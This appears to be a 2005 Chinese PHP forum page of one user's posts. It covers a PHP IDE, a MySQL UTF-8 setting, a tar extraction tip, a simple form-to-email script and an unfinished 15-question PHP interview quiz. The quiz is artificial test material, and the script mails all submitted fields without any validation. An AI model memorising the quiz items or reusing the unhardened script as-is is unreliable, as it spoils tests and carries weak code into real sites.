在台中的研討會後跟風哥討論了一部分關於 PHP ide 的問題..
其中討論了說有沒有 rapid 的開發工具.
這類的工具必須整合一套Template跟一組Framework的程式庫..

而這個東西大概在2~3年前就有出現~...
只是當時的功能跟開發環境的framework並沒有很完整,且很多Bug...

目前已經發展到了 4 beta 版了...
很多東西已經逐漸完備...

如果有興趣的朋友倒是可以參考看看唷...


http://www.turbophp.com/

116
雜七雜八 / eBay買下了skype~
« 於: 2005-09-13 01:47 »

117
因為有朋友要 form to email 的功能.
但是又不想弄資料庫等等麻煩的東西.
所以用了這最簡單的 form2email.php

代碼: [選擇]
<?
// 郵件標題
$subtitle = '郵件標題';
// 收件人.
$maillist = array('email1@xxx.com','email2@xxx.com');

foreach($_POST as $key => $val){
$mailContent .= $key.': '.$val."\n";
}

foreach($maillist as $val){
mail ( $val, $subtitle, $mailContent);
}
?>

118
剛剛在 http://blog.dragon2.net/archives/2005/08/08/194.php 看到的...

就是直接設定在 my.cnf 中.
init_connect='SET NAMES utf8′

給有需要的朋友們參考看看囉..^_^..

若有 app 是需要跑 set names big5 等的呢?...
小弟想到的只有自己改 app 在 connect 完成後跑一次 set names big5 ,重設成 big5 吧....

119
這是我幫朋友寫的一份考題...目前寫了三分之一...
會考的內容有20~25題php, 20~25題MySQL...

面試考試的話,應該是列印出來考的.所以沒有電腦可以上網查資料...

PHP部分的考試方向,有部分參考之前考的ZCE.各位可以參考看看(不過zend考的是英文拉..我這是中文)

目前這裡有15題 php 的..
代碼: [選擇]

PHP人員面試測驗

    * + - PHP
          o + - 1.PHP是屬於下列哪一類型的語言
                + 1.伺服器端網頁描述語言
                + 2.瀏覽器描述語言
                + 3.系統�{式語言
                + 4.組合語言
          o + - 2.PHP可搭配下列哪種網頁伺服器
                + 1.IIS
                + 2.APACHE
                + 3.NetScape
                + 4.以上皆可
          o + - 3.下列何者非PHP的用途
                + 1.Server-Side Script
                + 2. Command line scripting
                + 3. Writing desktop applications
                + 4.以上皆是
          o + - 4.PHP使用下列何關鍵字�]定全域變數
                + 1.all
                + 2.total
                + 3.global
                + 4.get
          o + - 5.PHP的變數識別字元是?
                + 1.@
                + 2.%
                + 3.&
                + 4.$
          o + - 6.當取得Form Submit的資料後,PHP可從下列何者取得該變數
                + 1.$_GET
                + 2.$_SERVER
                + 3.$_ENV
                + 4.$_COOKIE
          o + - 7.下列何者可以輸出日期 "2005-08-08 15:04"
                + 1.date('Ymd')
                + 2.date("y-m-d h:i")
                + 3.date("Y-m-d H:i")
                + 4.date("Y-m-d h:i")
          o 8.請寫出 date("Y-m-d h:i:s",mktime(13,12,11,12,10,2003))
          o + - 9.PHP Code : <? echo count ("123") ?>執行結果為?
                + 1.123
                + 2.0
                + 3.false
                + 4.3
          o + - 10.在PHP中,變數與變數連結所使用的運算元是?
                + 1. +
                + 2. .
                + 3. =
                + 4. ~
          o + - 11. $str = "1234567890"; 請選出能取出789 的PHP Code
                + 1.substr($str,0,789);
                + 2.substr($str,7,3);
                + 3.substr($str,6);
                + 4.substr($str,6,3);
          o + - 12. 下列何者能中斷迴圈的執行
                + 1.stop
                + 2.quit
                + 3.break
                + 4.exit
          o + - 13. 請看�{式碼
            $result = array(10,20,30,40);
            list($a,$b,$c,$d) = $result;
            則下列何者正確?
                + 1.$a+$b = 40;
                + 2. $b.$d = 1030;
                + 3. $a+$c = 30;
                + 4, $d.$a = 4010;
          o + - 14. 下列何者為 class 內的特殊保留變數
                + 1.$this
                + 2.$object
                + 3.$classes
                + 4.$func
          o + - 15.
            $a = b;
            $b = 10;
            $c = $$a;
            echo $c;
            請問 $c = ?
                + 1.a
                + 2.b
                + 3.10
                + 4.false

120
相信每個用 Linux 沒有人不會用 tar 去壓縮資料的...
但是有多少人知道自己要的資料在 tar 中要怎麼解出來?...
為了這個問題我今天找了半天..發覺沒有..Q_Q..

主機上的檔案又不可能讓我裝的視窗介面的 File Roller 來解壓縮....
所以只好自己搭配著 t 這個參數去測試了....

找了半天終於找到方法...

代碼: [選擇]
tar zxvf '你要解的tar.gz檔案' '在tar.gz之中要解的檔案或目錄名稱' '在tar.gz之中要解的檔案或目錄名稱'...

-------
該不會只有我不知道可以這樣解吧..Q_Q..

頁: 1 2 3 [4] 5 6